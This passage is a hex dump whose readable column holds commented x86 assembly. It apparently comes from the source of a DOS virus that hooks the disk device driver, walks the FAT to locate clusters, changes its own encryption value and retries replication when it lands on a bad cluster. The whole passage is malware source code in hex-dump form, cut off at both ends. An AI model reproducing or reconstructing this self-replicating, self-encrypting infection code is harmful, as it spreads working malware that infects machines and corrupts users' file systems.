20 | 63 61 6c 6c 20 20 63 68 |nput: |call ch| |00003680| 65 63 6b 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |eck | | |00003690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000036a0| 20 49 73 20 69 74 20 61 | 20 6e 65 77 20 64 69 73 | Is it a| new dis| |000036b0| 6b 3f 0a 20 20 20 20 20 | 20 20 20 20 6a 7a 20 20 |k?. | jz | |000036c0| 20 20 72 65 61 64 20 20 | 20 20 20 20 20 20 20 20 | read | | |000036d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000036e0| 20 20 20 3b 20 49 66 20 | 6e 6f 74 2c 20 6c 65 61 | ; If |not, lea| |000036f0| 76 65 0a 69 6e 66 5f 64 | 73 6b 3a 20 6d 6f 76 20 |ve.inf_d|sk: mov | |00003700| 20 20 62 79 74 65 20 70 | 74 72 20 5b 62 78 2b 32 | byte p|tr [bx+2| |00003710| 5d 2c 34 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |],4 | | |00003720| 20 20 20 3b 20 53 65 74 | 20 63 6f 6d 6d 61 6e 64 | ; Set| command| |00003730| 20 63 6f 64 65 20 74 6f | 20 52 45 41 44 0a 20 20 | code to| READ. | |00003740| 20 20 20 20 20 20 20 63 | 6c 64 0a 20 20 20 20 20 | c|ld. | |00003750| 20 20 20 20 6c 65 61 20 | 20 20 73 69 2c 5b 62 78 | lea | si,[bx| |00003760| 2b 30 65 68 5d 20 20 20 | 20 20 20 20 20 20 20 20 |+0eh] | | |00003770| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4c 6f 61 | | ; Loa| |00003780| 64 20 66 72 6f 6d 20 62 | 75 66 66 65 72 20 61 64 |d from b|uffer ad| |00003790| 64 72 65 73 73 0a 20 20 | 20 20 20 20 20 20 20 6d |dress. | m| |000037a0| 6f 76 20 20 20 63 78 2c | 38 20 20 20 20 20 20 20 |ov cx,|8 | |000037b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000037c0| 20 20 20 20 20 20 3b 20 | 53 61 76 65 20 64 65 76 | ; |Save dev| |000037d0| 69 63 65 20 64 72 69 76 | 65 72 20 72 65 71 75 65 |ice driv|er reque| |000037e0| 73 74 0a 73 61 76 65 3a | 20 20 20 20 6c 6f 64 73 |st.save:| lods| |000037f0| 77 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w | | |00003800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003810| 20 20 20 3b 20 6f 6e 20 | 74 68 65 20 73 74 61 63 | ; on |the stac| |00003820| 6b 0a 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |k. | push | |00003830| 20 61 78 0a 20 20 20 20 | 20 20 20 20 20 6c 6f 6f | ax. | loo| |00003840| 70 20 20 73 61 76 65 0a | 20 20 20 20 20 20 20 20 |p save.| | |00003850| 20 6d 6f 76 20 20 20 77 | 6f 72 64 20 70 74 72 20 | mov w|ord ptr | |00003860| 5b 62 78 2b 31 34 68 5d | 2c 31 20 20 20 20 20 20 |[bx+14h]|,1 | |00003870| 20 20 20 20 20 20 20 20 | 3b 20 53 74 61 72 74 69 | |; Starti| |00003880| 6e 67 20 73 65 63 74 6f | 72 20 6e 75 6d 62 65 72 |ng secto|r number| |00003890| 20 3d 20 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 | = 1. | | |000038a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000038b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000038c0| 20 20 20 20 20 3b 20 28 | 52 65 61 64 20 31 73 74 | ; (|Read 1st| |000038d0| 20 46 41 54 29 0a 20 20 | 20 20 20 20 20 20 20 63 | FAT). | c| |000038e0| 61 6c 6c 20 20 64 72 69 | 76 65 72 20 20 20 20 20 |all dri|ver | |000038f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003900| 20 20 20 20 20 20 3b 20 | 52 65 61 64 20 6f 6e 65 | ; |Read one| |00003910| 20 73 65 63 74 6f 72 0a | 20 20 20 20 20 20 20 20 | sector.| | |00003920| 20 6a 6e 7a 20 20 20 72 | 65 61 64 5f 20 20 20 20 | jnz r|ead_ | |00003930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003940| 20 20 20 20 20 20 20 20 | 3b 20 49 66 20 65 72 72 | |; If err| |00003950| 6f 72 2c 20 65 78 69 74 | 0a 20 20 20 20 20 20 20 |or, exit|. | |00003960| 20 20 6d 6f 76 20 20 20 | 62 79 74 65 20 70 74 72 | mov |byte ptr| |00003970| 20 5b 62 78 2b 32 5d 2c | 32 20 20 20 20 20 20 20 | [bx+2],|2 | |00003980| 20 20 20 20 20 20 20 20 | 20 3b 20 4f 74 68 65 72 | | ; Other| |00003990| 77 69 73 65 20 62 75 69 | 6c 64 20 42 50 42 0a 20 |wise bui|ld BPB. | |000039a0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 69 6e | |call in| |000039b0| 5f 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |_ | | |000039c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000039d0| 20 48 61 76 65 20 6f 72 | 69 67 69 6e 61 6c 20 64 | Have or|iginal d| |000039e0| 72 69 76 65 72 20 64 6f | 20 74 68 65 0a 20 20 20 |river do| the. | |000039f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 77 | | ; w| |00003a20| 6f 72 6b 0a 20 20 20 20 | 20 20 20 20 20 6c 64 73 |ork. | lds| |00003a30| 20 20 20 73 69 2c 5b 62 | 78 2b 31 32 68 5d 20 20 | si,[b|x+12h] | |00003a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003a50| 20 20 20 20 3b 20 44 53 | 3a 53 49 20 70 6f 69 6e | ; DS|:SI poin| |00003a60| 74 73 20 74 6f 20 42 50 | 42 20 74 61 62 6c 65 0a |ts to BP|B table.| |00003a70| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 61 | | mov a| |00003a80| 78 2c 5b 73 69 2b 36 5d | 20 20 20 20 20 20 20 20 |x,[si+6]| | |00003a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003aa0| 3b 20 4e 75 6d 62 65 72 | 20 72 6f 6f 74 20 64 69 |; Number| root di| |00003ab0| 72 65 63 74 6f 72 79 20 | 65 6e 74 72 69 65 73 0a |rectory |entries.| |00003ac0| 20 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 61 | | add a| |00003ad0| 78 2c 31 35 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,15 | | |00003ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003af0| 3b 20 52 6f 75 6e 64 20 | 75 70 0a 20 20 20 20 20 |; Round |up. | |00003b00| 20 20 20 20 6d 6f 76 20 | 20 20 63 6c 2c 34 0a 20 | mov | cl,4. | |00003b10| 20 20 20 20 20 20 20 20 | 73 68 72 20 20 20 61 78 | |shr ax| |00003b20| 2c 63 6c 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,cl | | |00003b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00003b40| 20 44 69 76 69 64 65 20 | 62 79 20 31 36 20 74 6f | Divide |by 16 to| |00003b50| 20 66 69 6e 64 20 73 65 | 63 74 6f 72 73 0a 20 20 | find se|ctors. | |00003b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00003b90| 6f 66 20 72 6f 6f 74 20 | 64 69 72 65 63 74 6f 72 |of root |director| |00003ba0| 79 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |y. | mov | |00003bb0| 20 64 69 2c 5b 73 69 2b | 30 62 68 5d 20 20 20 20 | di,[si+|0bh] | |00003bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003bd0| 20 20 3b 20 44 49 20 3d | 20 73 65 63 74 6f 72 73 | ; DI =| sectors| |00003be0| 2f 46 41 54 0a 20 20 20 | 20 20 20 20 20 20 61 64 |/FAT. | ad| |00003bf0| 64 20 20 20 64 69 2c 64 | 69 20 20 20 20 20 20 20 |d di,d|i | |00003c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003c10| 20 20 20 20 20 3b 20 44 | 6f 75 62 6c 65 20 66 6f | ; D|ouble fo| |00003c20| 72 20 32 20 46 41 54 73 | 0a 20 20 20 20 20 20 20 |r 2 FATs|. | |00003c30| 20 20 73 74 63 20 20 20 | 20 20 20 20 20 20 20 20 | stc | | |00003c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003c50| 20 20 20 20 20 20 20 20 | 20 3b 20 41 64 64 20 6f | | ; Add o| |00003c60| 6e 65 20 66 6f 72 20 62 | 6f 6f 74 20 72 65 63 6f |ne for b|oot reco| |00003c70| 72 64 0a 20 20 20 20 20 | 20 20 20 20 61 64 63 20 |rd. | adc | |00003c80| 20 20 64 69 2c 61 78 20 | 20 20 20 20 20 20 20 20 | di,ax | | |00003c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003ca0| 20 20 20 3b 20 41 64 64 | 20 73 65 63 74 6f 72 20 | ; Add| sector | |00003cb0| 73 69 7a 65 20 6f 66 20 | 72 6f 6f 74 20 64 69 72 |size of |root dir| |00003cc0| 0a 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |. | push | |00003cd0| 64 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di | | |00003ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003cf0| 20 3b 20 74 6f 20 66 69 | 6e 64 20 73 74 61 72 74 | ; to fi|nd start| |00003d00| 69 6e 67 20 73 65 63 74 | 6f 72 20 6f 66 0a 20 20 |ing sect|or of. | |00003d10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003d20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00003d40| 64 61 74 61 20 28 61 6e | 64 20 72 65 61 64 29 0a |data (an|d read).| |00003d50| 20 20 20 20 20 20 20 20 | 20 63 77 64 20 20 20 20 | | cwd | |00003d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003d80| 3b 20 43 6c 65 61 72 20 | 44 58 0a 20 20 20 20 20 |; Clear |DX. | |00003d90| 20 20 20 20 6d 6f 76 20 | 20 20 61 78 2c 5b 73 69 | mov | ax,[si| |00003da0| 2b 38 5d 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |+8] | | |00003db0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 41 58 20 | | ; AX | |00003dc0| 3d 20 74 6f 74 61 6c 20 | 73 65 63 74 6f 72 73 0a |= total |sectors.| |00003dd0| 20 20 20 20 20 20 20 20 | 20 74 65 73 74 20 20 61 | | test a| |00003de0| 78 2c 61 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,ax | | |00003df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003e00| 3b 20 49 66 20 69 74 20 | 69 73 20 7a 65 72 6f 2c |; If it |is zero,| |00003e10| 20 74 68 65 6e 20 77 65 | 20 68 61 76 65 0a 20 20 | then we| have. | |00003e20| 20 20 20 20 20 20 20 6a | 6e 7a 20 20 20 6d 6f 72 | j|nz mor| |00003e30| 65 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e | | |00003e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00003e50| 61 6e 20 65 78 74 65 6e | 64 65 64 20 70 61 72 74 |an exten|ded part| |00003e60| 69 74 69 6f 6e 28 3e 33 | 32 4d 42 29 0a 20 20 20 |ition(>3|2MB). | |00003e70| 20 20 20 20 20 20 6d 6f | 76 20 20 20 61 78 2c 5b | mo|v ax,[| |00003e80| 73 69 2b 31 35 68 5d 20 | 20 20 20 20 20 20 20 20 |si+15h] | | |00003e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 4c | | ; L| |00003ea0| 6f 61 64 20 44 58 3a 41 | 58 20 77 69 74 68 20 74 |oad DX:A|X with t| |00003eb0| 6f 74 61 6c 20 6e 75 6d | 62 65 72 0a 20 20 20 20 |otal num|ber. | |00003ec0| 20 20 20 20 20 6d 6f 76 | 20 20 20 64 78 2c 5b 73 | mov| dx,[s| |00003ed0| 69 2b 31 37 68 5d 20 20 | 20 20 20 20 20 20 20 20 |i+17h] | | |00003ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6f 66 | | ; of| |00003ef0| 20 73 65 63 74 6f 72 73 | 0a 6d 6f 72 65 3a 20 20 | sectors|.more: | |00003f00| 20 20 78 6f 72 20 20 20 | 63 78 2c 63 78 0a 20 20 | xor |cx,cx. | |00003f10| 20 20 20 20 20 20 20 73 | 75 62 20 20 20 61 78 2c | s|ub ax,| |00003f20| 64 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di | | |00003f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00003f40| 43 61 6c 63 75 6c 61 74 | 65 20 46 41 54 20 65 6e |Calculat|e FAT en| |00003f50| 74 72 79 20 66 6f 72 20 | 6c 61 73 74 0a 20 20 20 |try for |last. | |00003f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 | | ; s| |00003f90| 65 63 74 6f 72 20 6f 66 | 20 64 69 73 6b 0a 20 20 |ector of| disk. | |00003fa0| 20 20 20 20 20 20 20 73 | 62 62 20 20 20 64 78 2c | s|bb dx,| |00003fb0| 63 78 0a 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |cx. | mov | |00003fc0| 20 20 63 6c 2c 5b 73 69 | 2b 32 5d 20 20 20 20 20 | cl,[si|+2] | |00003fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003fe0| 20 20 20 3b 20 43 4c 20 | 3d 20 73 65 63 74 6f 72 | ; CL |= sector| |00003ff0| 73 2f 63 6c 75 73 74 65 | 72 0a 20 20 20 20 20 20 |s/cluste|r. | |00004000| 20 20 20 64 69 76 20 20 | 20 63 78 20 20 20 20 20 | div | cx | |00004010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004020| 20 20 20 20 20 20 20 20 | 20 20 3b 20 41 58 20 3d | | ; AX =| |00004030| 20 63 6c 75 73 74 65 72 | 20 23 0a 20 20 20 20 20 | cluster| #. | |00004040| 20 20 20 20 63 6d 70 20 | 20 20 63 6c 2c 32 20 20 | cmp | cl,2 | |00004050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004060| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 49 66 20 | | ; If | |00004070| 74 68 65 72 65 20 69 73 | 20 6d 6f 72 65 20 74 68 |there is| more th| |00004080| 61 6e 20 31 0a 20 20 20 | 20 20 20 20 20 20 73 62 |an 1. | sb| |00004090| 62 20 20 20 61 78 2c 2d | 31 20 20 20 20 20 20 20 |b ax,-|1 | |000040a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000040b0| 20 20 20 20 20 3b 20 63 | 6c 75 73 74 65 72 2f 73 | ; c|luster/s| |000040c0| 65 63 74 6f 72 2c 20 61 | 64 64 20 6f 6e 65 0a 20 |ector, a|dd one. | |000040d0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 61 78 | |push ax| |000040e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000040f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00004100| 20 53 61 76 65 20 63 6c | 75 73 74 65 72 20 6e 75 | Save cl|uster nu| |00004110| 6d 62 65 72 0a 20 20 20 | 20 20 20 20 20 20 63 61 |mber. | ca| |00004120| 6c 6c 20 20 63 6f 6e 76 | 65 72 74 20 20 20 20 20 |ll conv|ert | |00004130| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004140| 20 20 20 20 20 3b 20 41 | 58 20 3d 20 73 65 63 74 | ; A|X = sect| |00004150| 6f 72 20 6e 75 6d 62 65 | 72 20 74 6f 20 72 65 61 |or numbe|r to rea| |00004160| 64 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d. | | |00004170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004180| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004190| 20 20 3b 20 44 58 20 3d | 20 6f 66 66 73 65 74 20 | ; DX =| offset | |000041a0| 69 6e 20 73 65 63 74 6f | 72 20 41 58 0a 20 20 20 |in secto|r AX. | |000041b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000041c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000041d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 20 | | ; | |000041e0| 20 20 20 20 6f 66 20 46 | 41 54 20 65 6e 74 72 79 | of F|AT entry| |000041f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | | |00004200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004210| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004220| 20 3b 20 44 49 20 3d 20 | 6d 61 73 6b 20 66 6f 72 | ; DI = |mask for| |00004230| 20 45 4f 46 20 6d 61 72 | 6b 65 72 0a 20 20 20 20 | EOF mar|ker. | |00004240| 20 20 20 20 20 6d 6f 76 | 20 20 20 62 79 74 65 20 | mov| byte | |00004250| 70 74 72 20 65 73 3a 5b | 62 78 2b 32 5d 2c 34 20 |ptr es:[|bx+2],4 | |00004260| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 49 4e | | ; IN| |00004270| 50 55 54 20 28 72 65 61 | 64 29 0a 20 20 20 20 20 |PUT (rea|d). | |00004280| 20 20 20 20 6d 6f 76 20 | 20 20 65 73 3a 5b 62 78 | mov | es:[bx| |00004290| 2b 31 34 68 5d 2c 61 78 | 20 20 20 20 20 20 20 20 |+14h],ax| | |000042a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 53 74 61 | | ; Sta| |000042b0| 72 74 69 6e 67 20 73 65 | 63 74 6f 72 20 3d 20 41 |rting se|ctor = A| |000042c0| 58 0a 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |X. | call | |000042d0| 20 64 72 69 76 65 72 20 | 20 20 20 20 20 20 20 20 | driver | | |000042e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000042f0| 20 20 3b 20 4f 6e 65 20 | 73 65 63 74 6f 72 20 6f | ; One |sector o| |00004300| 6e 6c 79 0a 61 67 61 69 | 6e 3a 20 20 20 6c 64 73 |nly.agai|n: lds| |00004310| 20 20 20 73 69 2c 65 73 | 3a 5b 62 78 2b 30 65 68 | si,es|:[bx+0eh| |00004320| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |] | | |00004330| 20 20 20 20 3b 20 44 53 | 3a 53 49 20 3d 20 62 75 | ; DS|:SI = bu| |00004340| 66 66 65 72 20 61 64 64 | 72 65 73 73 0a 20 20 20 |ffer add|ress. | |00004350| 20 20 20 20 20 20 61 64 | 64 20 20 20 73 69 2c 64 | ad|d si,d| |00004360| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |00004370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 47 | | ; G| |00004380| 6f 20 74 6f 20 46 41 54 | 20 65 6e 74 72 79 0a 20 |o to FAT| entry. | |00004390| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 20 64 68 | |sub dh| |000043a0| 2c 63 6c 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,cl | | |000043b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |000043c0| 20 43 61 6c 63 75 6c 61 | 74 65 20 61 20 6e 65 77 | Calcula|te a new| |000043d0| 20 65 6e 63 72 79 70 74 | 69 6f 6e 0a 20 20 20 20 | encrypt|ion. | |000043e0| 20 20 20 20 20 61 64 63 | 20 20 20 64 78 2c 61 78 | adc| dx,ax| |000043f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004400| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 76 61 | | ; va| |00004410| 6c 75 65 0a 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |lue. | mov| |00004420| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 67 | word |ptr cs:g| |00004430| 61 64 2b 31 2c 64 78 20 | 20 20 20 20 20 20 20 20 |ad+1,dx | | |00004440| 20 20 20 20 3b 20 43 68 | 61 6e 67 65 20 74 68 65 | ; Ch|ange the| |00004450| 20 65 6e 63 72 79 70 74 | 69 6f 6e 20 76 61 6c 75 | encrypt|ion valu| |00004460| 65 0a 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |e. | cmp | |00004470| 20 63 6c 2c 31 20 20 20 | 20 20 20 20 20 20 20 20 | cl,1 | | |00004480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004490| 20 20 3b 20 49 66 20 74 | 68 65 72 65 20 69 73 20 | ; If t|here is | |000044a0| 30 20 63 6c 75 73 74 65 | 72 2f 73 65 63 74 6f 72 |0 cluste|r/sector| |000044b0| 0a 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |. | je | |000044c0| 73 6d 61 6c 6c 5f 20 20 | 20 20 20 20 20 20 20 20 |small_ | | |000044d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000044e0| 20 3b 20 74 68 65 6e 20 | 6a 75 6d 70 20 74 6f 20 | ; then |jump to | |000044f0| 22 73 6d 61 6c 6c 5f 22 | 0a 20 20 20 20 20 20 20 |"small_"|. | |00004500| 20 20 6d 6f 76 20 20 20 | 61 78 2c 5b 73 69 5d 20 | mov |ax,[si] | |00004510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004520| 20 20 20 20 20 20 20 20 | 20 3b 20 4c 6f 61 64 20 | | ; Load | |00004530| 41 58 20 77 69 74 68 20 | 6f 66 66 73 65 74 20 6f |AX with |offset o| |00004540| 66 20 46 41 54 0a 20 20 | 20 20 20 20 20 20 20 20 |f FAT. | | |00004550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004570| 20 20 20 20 20 20 3b 20 | 65 6e 74 72 79 0a 20 20 | ; |entry. | |00004580| 20 20 20 20 20 20 20 61 | 6e 64 20 20 20 61 78 2c | a|nd ax,| |00004590| 64 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di | | |000045a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |000045b0| 4d 61 73 6b 20 69 74 20 | 77 69 74 68 20 76 61 6c |Mask it |with val| |000045c0| 75 65 20 66 72 6f 6d 0a | 20 20 20 20 20 20 20 20 |ue from.| | |000045d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000045e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000045f0| 20 20 20 20 20 20 20 20 | 3b 20 22 63 6f 6e 76 65 | |; "conve| |00004600| 72 74 22 20 74 68 65 6e | 20 74 65 73 74 20 74 6f |rt" then| test to| |00004610| 20 73 65 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 | see. | | |00004620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004640| 20 20 20 20 20 3b 20 69 | 66 20 74 68 65 20 73 65 | ; i|f the se| |00004650| 63 74 6f 72 20 69 73 20 | 66 69 6e 65 0a 20 20 20 |ctor is |fine. | |00004660| 20 20 20 20 20 20 63 6d | 70 20 20 20 61 78 2c 30 | cm|p ax,0| |00004670| 66 66 66 37 68 20 20 20 | 20 20 20 20 20 20 20 20 |fff7h | | |00004680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 31 | | ; 1| |00004690| 36 20 62 69 74 20 72 65 | 73 65 72 76 65 64 2f 62 |6 bit re|served/b| |000046a0| 61 64 0a 20 20 20 20 20 | 20 20 20 20 6a 65 20 20 |ad. | je | |000046b0| 20 20 62 61 64 0a 20 20 | 20 20 20 20 20 20 20 63 | bad. | c| |000046c0| 6d 70 20 20 20 61 78 2c | 30 66 66 37 68 20 20 20 |mp ax,|0ff7h | |000046d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000046e0| 20 20 20 20 20 20 3b 20 | 31 32 20 62 69 74 20 72 | ; |12 bit r| |000046f0| 65 73 65 72 76 65 64 2f | 62 61 64 0a 20 20 20 20 |eserved/|bad. | |00004700| 20 20 20 20 20 6a 65 20 | 20 20 20 62 61 64 0a 20 | je | bad. | |00004710| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 61 78 | |cmp ax| |00004720| 2c 30 66 66 37 30 68 20 | 20 20 20 20 20 20 20 20 |,0ff70h | | |00004730| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00004740| 20 31 32 20 62 69 74 20 | 72 65 73 65 72 76 65 64 | 12 bit |reserved| |00004750| 2f 62 61 64 0a 20 20 20 | 20 20 20 20 20 20 6a 6e |/bad. | jn| |00004760| 65 20 20 20 6f 6b 0a 62 | 61 64 3a 20 20 20 20 20 |e ok.b|ad: | |00004770| 70 6f 70 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |pop ax| | |00004780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004790| 20 20 20 20 20 20 20 3b | 20 54 72 69 65 64 20 74 | ;| Tried t| |000047a0| 6f 20 72 65 70 6c 69 63 | 61 74 65 20 6f 6e 20 61 |o replic|ate on a| |000047b0| 20 62 61 64 0a 20 20 20 | 20 20 20 20 20 20 64 65 | bad. | de| |000047c0| 63 20 20 20 61 78 20 20 | 20 20 20 20 20 20 20 20 |c ax | | |000047d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000047e0| 20 20 20 20 20 3b 20 63 | 6c 75 73 74 65 72 2e 20 | ; c|luster. | |000047f0| 20 54 72 79 20 61 67 61 | 69 6e 20 6f 6e 20 61 0a | Try aga|in on a.| |00004800| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 61 | | push a| |00004810| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |00004820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004830| 3b 20 6c 6f 77 65 72 20 | 6f 6e 65 2e 0a 20 20 20 |; lower |one.. | |00004840| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 63 6f 6e 76 | ca|ll conv| |00004850| 65 72 74 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ert | | |00004860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 46 | | ; F| |00004870| 69 6e 64 20 77 68 65 72 | 65 20 69 74 20 69 73 20 |ind wher|e it is | |00004880| 69 6e 20 74 68 65 20 46 | 41 54 0a 20 20 20 20 20 |in the F|AT. | |00004890| 20 20 20 20 6a 6d 70 20 | 20 20 73 68 6f 72 74 20 | jmp | short | |000048a0| 61 67 61 69 6e 20 20 20 | 20 20 20 20 20 20 20 20 |again | | |000048b0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 61 6e 64 | | ; and| |000048c0| 20 74 72 79 20 6f 6e 63 | 65 20 6d 6f 72 65 0a 73 | try onc|e more.s| |000048d0| 6d 61 6c 6c 5f 3a 20 20 | 6e 6f 74 20 20 20 64 69 |mall_: |not di| |000048e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000048f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00004900| 20 52 65 76 65 72 73 65 | 20 6d 61 73 6b 20 62 69 | Reverse| mask bi| |00004910| 74 73 0a 20 20 20 20 20 | 20 20 20 20 61 6e 64 20 |ts. | and | |00004920| 20 20 5b 73 69 5d 2c 64 | 69 20 20 20 20 20 20 20 | [si],d|i | |00004930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004940| 20 20 20 3b 20 43 6c 65 | 61 72 20 6f 74 68 65 72 | ; 